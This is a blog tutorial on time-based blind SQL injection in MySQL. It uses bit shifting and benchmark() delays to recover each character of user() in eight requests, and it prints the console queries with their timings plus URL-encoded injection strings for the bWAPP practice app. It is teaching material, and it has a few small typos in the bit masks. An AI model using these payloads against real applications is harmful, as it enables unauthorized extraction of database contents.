I was performing some penetration tests in 2011 – 2012 against various PHP applications integrated with MySQL databases which were vulnerable to Time Based Blind SQL Injection. Due to various constraints and limitations, exploitation was a little tricky and I was forced to investigate a method which allowed me to retrieve data with as little requests as possible.

I stumbled across this paper demonstrating SQL injection using Bit shifting techniques: https://www.exploit-db.com/papers/17073/

During a recent CTF exercise on Hack the Box (https://www.hackthebox.eu/) I found myself revisiting this method to exploit some tricky SQL injection.

This blog post will demonstrate how the ‘right shift’ Operator ( >> ) can be used to enumerate the Binary bits of a value returned from a SQL query.

Note: A full description of Bit Functions and Operators can be found at the following URL: https://dev.mysql.com/doc/refman/5.7/en/bit-functions.html

The right shift operator will shift the number of bits of a binary value 1 location to the right, as illustrated in the example below:

mysql> select ascii(b'01110010'); +--------------------+ | ascii(b'01110010') | +--------------------+ | 114 | +--------------------+ 1 row in set (0.00 sec) mysql> select ascii(b'01110010') >> 1; +-------------------------+ | ascii(b'01110010') >> 1 | +-------------------------+ | 57 | +-------------------------+ 1 row in set (0.00 sec)

This can be utilised to enumerate a character of a string when exploiting Blind SQL injection. This guarantees that the data can be enumerated by a maximum of 8 requests per character if it appears within the full ASCII table.

The data we wish to extract via this method is the first character returned for the query: select user()

First Bit:

We start by finding the value of the first bit:

????????

Two possibilities for this:

0 (Decimal value: 0) // TRUE condition

OR

1 (Decimal value: 1) // FALSE condition

mysql> select if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false'); +--------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false') | +--------------------------------------------------------------------------------------+ | 0 | +--------------------------------------------------------------------------------------+ 1 row in set (2.35 sec)

The SQL query resulted in a time delay, therefore the condition is TRUE, resulting in the first bit being 0

0???????



Second Bit:

Now we need find the value of the second bit. As before, there are two possibilities for this:

00 (Decimal value: 0) // TRUE condition

OR

01 (Decimal value: 1) // FALSE condition

mysql> select if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false'); +--------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false') | +--------------------------------------------------------------------------------------+ | false | +--------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)

The SQL query resulted in no time delay, therefore the condition is FALSE, resulting in the second bit being 1

01?????

Third Bit:

Now we need find the value of the third bit. As before, there are two possibilities for this:

010 (Decimal value: 2) // TRUE

OR

011 (Decimal value: 3) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false'); +--------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false') | +--------------------------------------------------------------------------------------+ | false | +--------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)

The SQL query resulted in no time delay, therefore the condition is FALSE, resulting in the third bit being 1

011?????





Fourth Bit:

Now we need find the value of the fourth bit. As before, there are two possibilities for this:

0110 (Decimal: 6) // TRUE

OR

0111 (Decimal: 7) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false'); +--------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false') | +--------------------------------------------------------------------------------------+ | false | +--------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)

The SQL query resulted in no time delay, therefore the condition is FALSE, resulting in the fourth bit being 1

0111????

Fifth Bit:

Now we need find the value of the fifth bit. As before, there are two possibilities for this:

01110 (Decimal: 14) /// TRUE

OR

01111 (Decimal: 15) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false'); +---------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false') | +---------------------------------------------------------------------------------------+ | 0 | +---------------------------------------------------------------------------------------+ 1 row in set (2.46 sec)

The SQL query resulted in a time delay, therefore the condition is TRUE, resulting in the fifth bit being 0

01110???

Sixth Bit:

Now we need find the value of the sixth bit. As before, there are two possibilities for this:

011100 (Decimal: 28) // TRUE

OR

011101 (Decimal: 29) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false'); +---------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false') | +---------------------------------------------------------------------------------------+ | 0 | +---------------------------------------------------------------------------------------+ 1 row in set (2.44 sec)

The SQL query resulted in a time delay, therefore the condition is TRUE, resulting in the sixth bit being 0

011100??

Seventh Bit:

Now we need find the value of the seventh bit. As before, there are two possibilities for this:

0111000 (Decimal: 56) // TRUE

OR

0111001 (Decimal: 57) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false'); +---------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false') | +---------------------------------------------------------------------------------------+ | false | +---------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)

The SQL query resulted in no time delay, therefore the condition is FALSE, resulting in the seventh bit being 1

The fourth bit must be 1

0111001?

Eighth Bit:

Now we need find the value of the eighth and final bit. As before, there are two possibilities for this:

01110010 (Decimal: 114) // TRUE

OR

01110011 (Decimal: 115) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false'); +----------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false') | +----------------------------------------------------------------------------------------+ | 0 | +----------------------------------------------------------------------------------------+ 1 row in set (2.33 sec)

The SQL query resulted in a time delay, therefore the condition is TRUE, resulting in the eight bit being 0

01110010

Now we can conclude that the binary value for the first character returned by the query: select user() is 01110010 resulting in a decimal value of 114. 114 being the ‘r’ character of the ASCII table.

mysql> select user(); +----------------+ | user() | +----------------+ | root@localhost | +----------------+ 1 row in set (0.00 sec)





In order to demonstrate this type of Blind SQL injection attack, I have demenstrated how to enumerate the first and last binary bit of the first character returned by ‘select user()’ on the bWAPP vulnerable application: (https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/)

SQLi string returning a TRUE condition for the first bit:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23

SQLi string returning a FALSE condition for the first bit:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23

SQLi string returning a TRUE condition for the eight bit:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23

Like the article? Please share with your friends. Facebook

Twitter

LinkedIn

Telegram

WhatsApp

Pocket

Reddit

Pinterest

Tumblr

Email

Print

